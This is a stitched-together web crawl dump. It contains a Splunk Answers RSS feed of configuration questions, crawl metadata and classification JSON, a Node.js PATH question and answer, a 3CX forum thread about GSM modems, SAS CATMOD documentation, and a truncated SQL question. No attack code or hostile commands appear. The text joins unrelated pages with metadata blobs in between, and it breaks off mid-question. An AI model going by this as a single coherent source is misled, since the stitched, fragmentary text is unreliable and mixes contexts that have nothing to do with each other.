Mon, 25 Nov 2019 19:29:12 GMT jwalzerpitt Escape a period in transforms regex to drop log? https://answers.splunk.com/answers/785809/escape-a-period-in-transforms-regex-to-drop-log.html I'm collecting DNS logs and I'm trying to drop all logs with sub.domain.com as the query. In my transforms.conf I have the following: [dropdomain] REGEX = sub\.domain\.com DEST_KEY=queue FORMAT=nullQueue But those domains still show up in my index. I have this on both the HF and the Indexer for that sourcetype. I also am collecting logs from windows DNS debug log. As you know those come across in (#)string(#)string(#)string(#) format. So when the above comes through one of those logs, I have (3)sub(6)domain(3)com(0) in my log. I'm trying to drop those also and here is my transforms.conf for that log: [dropdomain] REGEX = sub\(6\)domain\(3\)com DEST_KEY=queue FORMAT=nullQueue But that isn't working either. Is my syntax correct? Do I need to escape the period or not? Do I escape the parenthesis or not? Thanks. (I'm sure this question has been asked before, but I have not found the right google-fu to get the answer) splunk-enterprise regex transforms.conf Thu, 21 Nov 2019 19:03:10 GMT reswob4 how can we add new fields to proxy logs https://answers.splunk.com/answers/785702/how-can-we-add-new-fields-to-proxy-logs.html Hi, Currently i'm using SplunkAppForBlueCoatProxySG app which is working as expected. My user wanted to add few more additional fields for proxy logs. We tested by adding only one new field at the END and its failing to extract existing fields in splunk. Anyone have any suggestions how to add new fields for proxy logs. Thanks in advance. @SplunkAppForBlueCoatProxySG splunk-enterprise props.conf transforms.conf Thu, 21 Nov 2019 01:14:30 GMT CONSORP What is the better way of extracting user from domain in configuration https://answers.splunk.com/answers/785460/what-is-the-better-way-of-extracting-user-from-dom.html We have a Splunk TA already extract the user field (defined in transforms.conf) from the raw data; however, the user field contains the domain and the user ID, for example, `domain_xyz\user_id_123`. And I need to strip out the user ID so that it can be applied to the user auto-lookup. I created custom field parsing via transforms.conf and props.conf as the followings: Fields >> Field transformations >> field_extract_user Type: `regex-based` Regular expression: `(\S+\\){0,1}(?<user>.*)` Source Key: `user` I created a stanza in props.conf as `REPORT-field_extract_user` and pointed to the transform, `field_extract_user`. However, it didn't work. Does anyone have any clues what I missed? Thanks. splunk-cloud transforms.conf extraction Mon, 18 Nov 2019 18:30:20 GMT lucas4394 How can I limit my collection of DNS data using STREAM to a single domain name. https://answers.splunk.com/answers/782337/how-can-i-limit-my-collection-of-dns-data-using-st.html I currently have stream collecting DNS from our DNS server. I also have some DNS forwarder that I have been requested to capture any query or responses to a particular DNS name. I though I could just turn on Stream on the DNS forwarders and write a props/transforms.conf and apply it to those UFs and it would work but it didn't. I get everything from the DNS forwarders. This is the props and transforms that I used. props.conf [stream:dns] TRANSFORMS-set= setnull, setparsing transforms.conf [setnull] REGEX=^.* DEST_KEY=queue FORMAT=nullQueue # Stream config - Remove all data coming in [setparsing] REGEX=^.*?(?:query|response)\"\:\[\"(?i)(?:dns.name.here).**$ DEST_KEY=queue FORMAT=indexQueue # Stream config - only collect data for listed url props.conf transforms.conf dns collect Fri, 08 Nov 2019 19:33:48 GMT edhealea How to write parsing configuration for json file? https://answers.splunk.com/answers/781350/how-to-write-parsing-configuration-for-json-file.html My log contains multiple {} data structure and i want to get all json field inside extracted field in splunk . How to parse? { [-] service: [ [-] { [-] name: xxxxx id: xxx } ] Filename: xxx dest: xxx created_at: xxxx destination_port: null source: xxx username: zxx } props.conf transforms.conf json extracted-fields Sun, 03 Nov 2019 10:15:48 GMT vin02ptl How do I configure my sourcetype to deal with a log that creates events with fixed field lengths? https://answers.splunk.com/answers/780064/how-do-i-configure-my-sourcetype-to-deal-with-a-lo.html Hello all, I have a structured log that doesn't contain a headers but contains fields with a fixed lengths. Here is a simplified example that considers 4 fields with names `exit_code`, `id`, `description`, and `timestamp`: 3 40023452 This is the description that gets trunca 2019-31-10 11:01:00 3 40016468 Shorter description no truncation 2019-31-10 11:02:00 3 40045418 2019-31-10 11:03:00 The samples above shows that all fields are fixed length even when they don't have values: - `exit_code` is always 1 character from columns 1 to 2 - `id` is always 8 characters from columns 3 to 11 - `description` is always 40 characters from columns 12 to 52 - `timestamp` is always 19 characters from columns 53 to 72 With this in mind, is there any way in `props.conf` to specify the column ranges that define the fields? If not, is there a combination of `props.conf` and `transforms.conf` that will allow me to do this, maybe using regular expressions? Any suggestions would be greatly appreciated! Thank you and best regards, Andrew splunk-enterprise props.conf transforms.conf Thu, 31 Oct 2019 10:10:34 GMT andrewtrobec syntax for outputlookup when defined in transforms.conf? https://answers.splunk.com/answers/779592/syntax-for-outputlookup-when-defined-in-transforms.html I have a transforms as follows which defines a lookup [ABC] filename = ABC.csv case_sensitive_match = false Now, I am writing a saved search which updates the above lookup after executing the search. now, which among the below should I need to specify at the end of saved search and why? | outputlookup ABC OR | outputlookup ABC.csv splunk-enterprise lookup transforms.conf outputs.conf Fri, 25 Oct 2019 17:45:09 GMT pavanae Can I filter logs coming from forwarders with config files under \etc\system or logs can be filtered just from heavy forwarders? https://answers.splunk.com/answers/777198/can-i-filter-logs-coming-from-forwarders-with-conf.html Can I filter logs coming from forwarders with config files under \etc\system or logs can be filtered just from heavy forwarders? I installed splunk forwarders and wanted to filter logs so I have tried to create props.conf and transforms.conf under \etc\System\local but there was no effect. When I install heavy forwarders it worked deploying config files (under \etc\deploymentapps). splunk-enterprise transforms.conf filtering Tue, 22 Oct 2019 06:57:45 GMT CsungyiPepi19 | {
"url": "https://answers.splunk.com/feed/160095/topic.rss",
"source_domain": "answers.splunk.com",
"snapshot_id": "crawl=CC-MAIN-2020-05",
"warc_metadata": {
"Content-Length": "27567",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:D4GD2D4OP7HC2KHZJYMKR4BQ4CRUITB4",
"WARC-Concurrent-To": "<urn:uuid:527a1e13-2547-4da8-8bb2-87701d7a7756>",
"WARC-Date": "2020-01-29T04:20:37Z",
"WARC-IP-Address": "54.204.12.32",
"WARC-Identified-Payload-Type": "application/rss+xml",
"WARC-Payload-Digest": "sha1:5Z7FZYFE3ODZ5SWM4IKP5QFKUCXVQ3EE",
"WARC-Record-ID": "<urn:uuid:1215a887-9fe8-41d2-a926-f240e80176ad>",
"WARC-Target-URI": "https://answers.splunk.com/feed/160095/topic.rss",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:57ebe4ff-8652-4f5f-9b88-bb6fba6c8922>"
},
"warc_info": "isPartOf: CC-MAIN-2020-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-83.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0
],
"line_end_idx": [
20117
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 20117,
"ccnet_original_nlines": 0,
"rps_doc_curly_bracket": 0.001391859957948327,
"rps_doc_ldnoobw_words": 4,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2465665191411972,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04914163053035736,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3542918562889099,
"rps_doc_frac_unique_words": 0.3239263892173767,
"rps_doc_mean_word_length": 6.400000095367432,
"rps_doc_num_sentences": 321,
"rps_doc_symbol_to_word_ratio": 0.00429185014218092,
"rps_doc_unigram_entropy": 5.869683265686035,
"rps_doc_word_count": 2445,
"rps_doc_frac_chars_dupe_10grams": 0.02032209001481533,
"rps_doc_frac_chars_dupe_5grams": 0.06921011954545975,
"rps_doc_frac_chars_dupe_6grams": 0.06288343667984009,
"rps_doc_frac_chars_dupe_7grams": 0.05329754948616028,
"rps_doc_frac_chars_dupe_8grams": 0.040260739624500275,
"rps_doc_frac_chars_dupe_9grams": 0.02032209001481533,
"rps_doc_frac_chars_top_2gram": 0.02057771012187004,
"rps_doc_frac_chars_top_3gram": 0.019938649609684944,
"rps_doc_frac_chars_top_4gram": 0.0028118600603193045,
"rps_doc_books_importance": -2141.937744140625,
"rps_doc_books_importance_length_correction": -2141.937744140625,
"rps_doc_openwebtext_importance": -1236.75146484375,
"rps_doc_openwebtext_importance_length_correction": -1236.75146484375,
"rps_doc_wikipedia_importance": -844.4932861328125,
"rps_doc_wikipedia_importance_length_correction": -844.4932861328125
},
"fasttext": {
"dclm": 0.2293463945388794,
"english": 0.8149567246437073,
"fineweb_edu_approx": 1.5963150262832642,
"eai_general_math": 0.7360796928405762,
"eai_open_web_math": 0.22905516624450684,
"eai_web_code": 0.9449388980865479
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.467",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.776",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-8,770,198,457,756,683,000 | sellarafaeli sellarafaeli - 1 month ago 9
Node.js Question
Node.js doesn't recognize system path?
I've been working with
node.js
, v0.6.3, locally installed on Windows Vista at
C:\Program Files\Nodejs
. I recently upgraded to (by running the installer for)
v0.6.6 . It seemed like it worked for a while, but now if I try to run
'node'` from any directory I get a
'node' is not recognized as an internal or external command
message, though running 'node' from
C:\Program Files\Nodejs
does work.
I tried rebooting, removing node, reinstalling, reinstalling 0.6.3 - nothing seems to work. I just don't get why 'node' fails to recognize system path, though node works from its base dir?
Answer
Node is missing from the SYSTEM PATH, try this in your command line
SET PATH=C:\Program Files\Nodejs;%PATH%
and then try running node
To set this system wide you need to set in the system settings - cf - http://banagale.com/changing-your-system-path-in-windows-vista.htm
To be very clean, create a new system variable NODEJS
NODEJS="C:\Program Files\Nodejs"
Then edit the PATH in system variables and add %NODEJS%
PATH=%NODEJS%;...
Comments | {
"url": "https://codedump.io/share/0cvTaYuCzevU/1/nodejs-doesn39t-recognize-system-path",
"source_domain": "codedump.io",
"snapshot_id": "crawl=CC-MAIN-2016-44",
"warc_metadata": {
"Content-Length": "45768",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:MT2SRNVQ57SYHMS62MPRLYUGL3XQD5MY",
"WARC-Concurrent-To": "<urn:uuid:dd2f8c3d-f79e-4b01-b578-0b103c299531>",
"WARC-Date": "2016-10-28T19:59:41Z",
"WARC-IP-Address": "84.22.103.185",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:D2EF6AXMV5W4REY5F3CMLQDMBB3Z5UP7",
"WARC-Record-ID": "<urn:uuid:0f3c3095-be87-4ced-8e1d-0899d1060cae>",
"WARC-Target-URI": "https://codedump.io/share/0cvTaYuCzevU/1/nodejs-doesn39t-recognize-system-path",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:6af3d88e-3592-4793-a780-1131c0970d83>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-6-4.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-44\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for October 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
42,
59,
60,
99,
100,
123,
124,
132,
180,
204,
260,
331,
366,
367,
368,
428,
429,
430,
466,
490,
501,
502,
691,
692,
699,
700,
768,
769,
809,
810,
836,
837,
974,
975,
1029,
1030,
1063,
1064,
1120,
1121,
1139
],
"line_end_idx": [
42,
59,
60,
99,
100,
123,
124,
132,
180,
204,
260,
331,
366,
367,
368,
428,
429,
430,
466,
490,
501,
502,
691,
692,
699,
700,
768,
769,
809,
810,
836,
837,
974,
975,
1029,
1030,
1063,
1064,
1120,
1121,
1139,
1147
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1147,
"ccnet_original_nlines": 41,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.25735294818878174,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07720588147640228,
"rps_doc_frac_lines_end_with_ellipsis": 0.02380952052772045,
"rps_doc_frac_no_alph_words": 0.2867647111415863,
"rps_doc_frac_unique_words": 0.6331360936164856,
"rps_doc_mean_word_length": 5.159763336181641,
"rps_doc_num_sentences": 19,
"rps_doc_symbol_to_word_ratio": 0.0036764699034392834,
"rps_doc_unigram_entropy": 4.4447431564331055,
"rps_doc_word_count": 169,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.03440367057919502,
"rps_doc_frac_chars_top_3gram": 0.04357798025012016,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -165.4474639892578,
"rps_doc_books_importance_length_correction": -165.4474639892578,
"rps_doc_openwebtext_importance": -115.48482513427734,
"rps_doc_openwebtext_importance_length_correction": -112.2618637084961,
"rps_doc_wikipedia_importance": -84.6861343383789,
"rps_doc_wikipedia_importance_length_correction": -84.6861343383789
},
"fasttext": {
"dclm": 0.036920368671417236,
"english": 0.8660786151885986,
"fineweb_edu_approx": 1.1140631437301636,
"eai_general_math": 0.9894304275512695,
"eai_open_web_math": 0.26557523012161255,
"eai_web_code": 0.13955622911453247
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.455",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.028",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-5,462,167,218,716,628,000 | Configuring 3CX with simple GSM modem
Discussion in '3CX Phone System - General' started by Thilak, Feb 11, 2014.
Thread Status:
Not open for further replies.
1. Thilak
Joined:
Feb 11, 2014
Messages:
1
Likes Received:
0
Can I have a trial with this software without having PRI lines? I have simple data card (A simple GSM modem) which is used to connect internet and also it supports for making calls through it. Is it possible to implement trail connection using that modem?
What are the minimum requirements for establishing a trial connection (with single connection or multiple connections)?
If yes, how can i configure it?
Please anyone help me
2. leejor
leejor Well-Known Member
Joined:
Jan 22, 2008
Messages:
10,752
Likes Received:
285
Probably not.
The speed would have to be close to high speed internet and you would require a VoIP provider (at least 64K). To be practical you would have an always on connection, if you were going to be running the PBX. There are no cost "testing" options available if you don't have a VoIP provider. Your computer would have to be able to share the local network with other devices (extensions) or you might as well simply run a VoIP phone on the computer.
There are GSM VoIP gateways available that allow calls to go out over whatever SIM you have plugged into the gateway, but they are not cheap, so not the route to go simply for testing.
If you don't have a high speed internet connection, then you would have to use a PSTN gateway (to connect to a phone line) such as the Linksys/Cisco SPA-3102
Thread Status:
Not open for further replies. | {
"url": "https://www.3cx.com/community/threads/configuring-3cx-with-simple-gsm-modem.38865/",
"source_domain": "www.3cx.com",
"snapshot_id": "crawl=CC-MAIN-2018-39",
"warc_metadata": {
"Content-Length": "92503",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:75X7RBVWHZKWLZU25ZESAHE4FZAKDVQ3",
"WARC-Concurrent-To": "<urn:uuid:6101bc86-8f3d-42d0-aa17-5d90e7299fbc>",
"WARC-Date": "2018-09-22T05:02:30Z",
"WARC-IP-Address": "104.155.98.159",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:XETXNLFDBP3MM7TXG2QSFXWZJIVZ5I7S",
"WARC-Record-ID": "<urn:uuid:bc55ec74-bf46-4a7e-94c9-fedacc40fb3d>",
"WARC-Target-URI": "https://www.3cx.com/community/threads/configuring-3cx-with-simple-gsm-modem.38865/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:487a3ed6-76d8-4257-a395-d087936037f2>"
},
"warc_info": "isPartOf: CC-MAIN-2018-39\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-51-154-251.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
38,
39,
115,
116,
131,
161,
173,
174,
186,
203,
217,
223,
243,
249,
509,
633,
669,
695,
701,
713,
714,
743,
744,
756,
773,
787,
798,
818,
826,
844,
845,
1294,
1295,
1484,
1485,
1647,
1653,
1668
],
"line_end_idx": [
38,
39,
115,
116,
131,
161,
173,
174,
186,
203,
217,
223,
243,
249,
509,
633,
669,
695,
701,
713,
714,
743,
744,
756,
773,
787,
798,
818,
826,
844,
845,
1294,
1295,
1484,
1485,
1647,
1653,
1668,
1697
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1697,
"ccnet_original_nlines": 38,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3976261019706726,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04154302924871445,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.19584569334983826,
"rps_doc_frac_unique_words": 0.5483871102333069,
"rps_doc_mean_word_length": 4.501791954040527,
"rps_doc_num_sentences": 16,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.754499435424805,
"rps_doc_word_count": 279,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.07961782813072205,
"rps_doc_frac_chars_dupe_6grams": 0.0573248416185379,
"rps_doc_frac_chars_dupe_7grams": 0.0573248416185379,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02866242080926895,
"rps_doc_frac_chars_top_3gram": 0.02627388946712017,
"rps_doc_frac_chars_top_4gram": 0.030254779383540154,
"rps_doc_books_importance": -118.68292236328125,
"rps_doc_books_importance_length_correction": -106.4892807006836,
"rps_doc_openwebtext_importance": -78.78870391845703,
"rps_doc_openwebtext_importance_length_correction": -78.78870391845703,
"rps_doc_wikipedia_importance": -67.48950958251953,
"rps_doc_wikipedia_importance_length_correction": -58.04960632324219
},
"fasttext": {
"dclm": 0.2514718174934387,
"english": 0.9539996981620789,
"fineweb_edu_approx": 1.8480688333511353,
"eai_general_math": 0.04444653168320656,
"eai_open_web_math": 0.20920145511627197,
"eai_web_code": 0.002538739936426282
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
5,432,422,124,091,217,000 | The CATMOD Procedure
Types of Input Data
The data that PROC CATMOD analyzes are usually supplied in one of two ways. First, you can supply raw data, where each observation is a subject. Second, you can supply cell count data, where each observation is a cell in a contingency table. (A third way, which uses direct input of the covariance matrix, is also available; details are given in the section Inputting Response Functions and Covariances Directly.)
Suppose detergent brand preference is related to three other categorical variables: water softness, water temperature, and previous use of a brand of detergent. In the raw data case, each observation in the input data set identifies a given respondent in the study and contains information about all four variables. The data set contains the same number of observations as the survey had respondents. In the cell count case, each observation identifies a given cell in the four-way table of water softness, water temperature, previous use of brand, and brand preference. A fifth variable contains the number of respondents in the cell. In the analysis, this fifth variable is identified in a WEIGHT statement. The data set contains the same number of observations as the number of cross-classifications formed by the four categorical variables. For more about this particular example, see Example 32.1. For additional details, see the section Input Data Sets.
Most of the examples in this chapter use cell counts as input and use a WEIGHT statement. | {
"url": "http://support.sas.com/documentation/cdl/en/statug/68162/HTML/default/statug_catmod_overview01.htm",
"source_domain": "support.sas.com",
"snapshot_id": "crawl=CC-MAIN-2018-26",
"warc_metadata": {
"Content-Length": "15549",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:35BJJHVGUEXYA563KZTPCXRX5LA6NKPI",
"WARC-Concurrent-To": "<urn:uuid:2123c5e4-7889-419f-8e19-c64c61b605df>",
"WARC-Date": "2018-06-25T00:20:04Z",
"WARC-IP-Address": "149.173.160.38",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:H3TOROYD7OHDYHLQZW5XURLBKSGJI5VO",
"WARC-Record-ID": "<urn:uuid:37736095-2840-4ce6-bc6e-bb161647c895>",
"WARC-Target-URI": "http://support.sas.com/documentation/cdl/en/statug/68162/HTML/default/statug_catmod_overview01.htm",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0aca5c1d-de91-43fa-aed7-d7a384ebcf16>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-169-43-15.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
21,
22,
42,
43,
457,
458,
1418,
1419
],
"line_end_idx": [
21,
22,
42,
43,
457,
458,
1418,
1419,
1508
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1508,
"ccnet_original_nlines": 8,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4098939895629883,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02473497949540615,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1342756152153015,
"rps_doc_frac_unique_words": 0.4344262182712555,
"rps_doc_mean_word_length": 5.016393661499023,
"rps_doc_num_sentences": 15,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.26956033706665,
"rps_doc_word_count": 244,
"rps_doc_frac_chars_dupe_10grams": 0.08169934898614883,
"rps_doc_frac_chars_dupe_5grams": 0.12581698596477509,
"rps_doc_frac_chars_dupe_6grams": 0.12581698596477509,
"rps_doc_frac_chars_dupe_7grams": 0.08169934898614883,
"rps_doc_frac_chars_dupe_8grams": 0.08169934898614883,
"rps_doc_frac_chars_dupe_9grams": 0.08169934898614883,
"rps_doc_frac_chars_top_2gram": 0.03267974033951759,
"rps_doc_frac_chars_top_3gram": 0.019607840105891228,
"rps_doc_frac_chars_top_4gram": 0.03921569138765335,
"rps_doc_books_importance": -114.75387573242188,
"rps_doc_books_importance_length_correction": -105.19962310791016,
"rps_doc_openwebtext_importance": -85.913330078125,
"rps_doc_openwebtext_importance_length_correction": -85.913330078125,
"rps_doc_wikipedia_importance": -50.16160202026367,
"rps_doc_wikipedia_importance_length_correction": -37.91579055786133
},
"fasttext": {
"dclm": 0.2582743763923645,
"english": 0.8860828280448914,
"fineweb_edu_approx": 3.424949884414673,
"eai_general_math": 0.9995042085647583,
"eai_open_web_math": 0.45856988430023193,
"eai_web_code": 0.9991750717163086
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "519.5",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Probabilities; or, Mathematical statistics"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
4,050,275,776,236,868,000 | Tell me more ×
Facebook - Stack Overflow is a question and answer site for facebook developers. It's 100% free, no registration required.
Facebook and Stack Exchange are now working together to support the Facebook developer community. Facebook engineers participate here along with the best Facebook developers in the world. If you have a technical question about Facebook, this is the best place to ask.
I have the following problem: my table is big enought (millions of data rows), this is temporary data which I process. I need to select max and min of one column accrding to some criteria, process this information and remove data according to the same criteria. Actually, the simplest implementation looks like:
select max(col), min(col) from _TABLE_ where _CONDITION_;
...
